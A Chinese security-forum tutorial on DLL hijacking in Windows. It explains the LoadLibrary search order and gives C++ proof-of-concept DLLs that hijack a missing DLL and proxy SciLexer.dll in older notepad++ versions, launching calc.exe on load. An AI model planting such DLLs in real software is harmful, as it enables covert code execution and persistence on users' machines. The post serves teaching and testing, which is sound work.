安全矩阵

 找回密码
 立即注册
搜索
查看: 2551|回复: 0

干货 | DLL劫持

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-5-28 19:33:19 | 显示全部楼层 |阅读模式
原文链接:干货 | DLL劫持
什么是dll


DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运⾏必不可少的功 能模块,是实现代码重⽤的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。DLL劫持漏洞(DLL Hijacking Exploit),严格点说,它是通过⼀些⼿段来劫持或者替换正常的DLL,欺 骗正常程序加载预先准备好的恶意DLL的⼀类漏洞的统称。利⽤DLL劫持漏洞,病毒⽊⻢可以随着⽂档的 打开(或者其他⼀些程序正常⾏为)⽽激活⾃身,进⽽获得系统的控制权。

原理

DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。
  • 程序所在⽬录。
  • 加载 DLL 时所在的当前⽬录。
  • 系统⽬录即 SYSTEM32 ⽬录。
  • 16位系统⽬录即 SYSTEM ⽬录。
  • Windows⽬录。
  • PATH环境变量中列出的⽬录

dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正 常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。

通过VS2019生成一个dll








两种不同的劫持方式

使用工具rocessMonitor  
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

一.劫持源程序没有的dll

使用ProcessMonitor 找到一个没有加载的dll,这里使用notepad++测试

添加过滤条件进程名为notepad++

添加过滤条件路径为E:\notepad++

添加结果为NAME NOT FOUND

然后点击ok
打开notepad++
可以看到有很多dll

先双击uxtheme.dll(这里找一下,找一个有loadlibrary相关的API的dll,你的notepad++可能没有这个dll,因为notepad++版本有可能你的跟我的不一样),然后左键stack

找到loadlibrary相关的API

在vs中编写恶意dll源⽂件后编译,把编译好的恶意dll⽂件名修改为需要劫持的dll⽂件名 后放⼊到notepad++.exe下的同级⽬录下(放在其他地方也可以,只要在dll寻找目录中):
  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "pch.h"


  3. BOOL APIENTRY DllMain( HMODULE hModule,
  4. DWORD  ul_reason_for_call,
  5. LPVOID lpReserved
  6. )
  7. {
  8. switch (ul_reason_for_call)
  9. {
  10. case DLL_PROCESS_ATTACH:
  11. WinExec("calc.exe", SW_HIDE);
  12. case DLL_THREAD_ATTACH:
  13. case DLL_THREAD_DETACH:
  14. case DLL_PROCESS_DETACH:
  15. break;
  16. }
  17. return TRUE;
  18. }
复制代码

当进程创建时就打开计算器


我们双击启动notepad++一下试试


成功弹出计算器,执行了我们的恶意代码

二.劫持已经存在的dll

工具:CFF explorer  
下载地址:http://www.ntcore.com/files/ExplorerSuite.exe
1.设置过滤条件如图,过程跟刚刚差不多


2.打开notepad.exe,查看监听器中有dll⽂件的事件详情:


3. 可以看到这个dll⽂件是notepad++使⽤系统API LoadLibrary 调⽤的,所以可以利⽤该点对程序进⾏ dll劫持
找到这个dll,就在notepad++相同目录下


4.把这个dll拖入CFF explorer 中
找到这个导出表


他有一个导出函数


5.在vs2019中编写恶意dll⽂件后编译,将恶意dll⽂件名修改为所要劫持的dll⽂件名,将原dll⽂件名修改为恶意dll⽂件中所设置的⽂件名
  1. #include "pch.h"
  2. extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
  3. BOOL APIENTRY DllMain( HMODULE hModule,
  4. DWORD  ul_reason_for_call,
  5. LPVOID lpReserved
  6. )
  7. {
  8. switch (ul_reason_for_call)
  9. {
  10. case DLL_PROCESS_ATTACH:
  11. WinExec("calc.exe", SW_HIDE);
  12. case DLL_THREAD_ATTACH:
  13. case DLL_THREAD_DETACH:
  14. case DLL_PROCESS_DETACH:
  15. break;
  16. }
  17. return TRUE;
  18. }
  19. void Scintilla_DirectFunction()
  20. {
  21. MessageBox(NULL, L"hello", L"SD", NULL);
  22. HINSTANCE hDll = LoadLibrary(L"SciLexer_org.dll");
  23. if (hDll)
  24. {
  25. typedef DWORD(WINAPI* EXPFUNC)();
  26. EXPFUNC expFunc = NULL;
  27. expFunc = (EXPFUNC)GetProcAddress(hDll,"Scintilla_DirectFunction");
  28. if (expFunc)
  29. {
  30. expFunc();
  31. }
  32. FreeLibrary(hDll);
  33. }
  34. return;
  35. }
复制代码




这里虽然报错但是还是弹出了计算机


说明

在notepad++7.3.3以后notepad官方已经修复这个漏洞,再7.3.3版本以后每次运行notepad++会先检查这个dll是否时原来的dll,这里如果要测试需要下载7.3.3以前的版本


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:34 , Processed in 0.012882 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表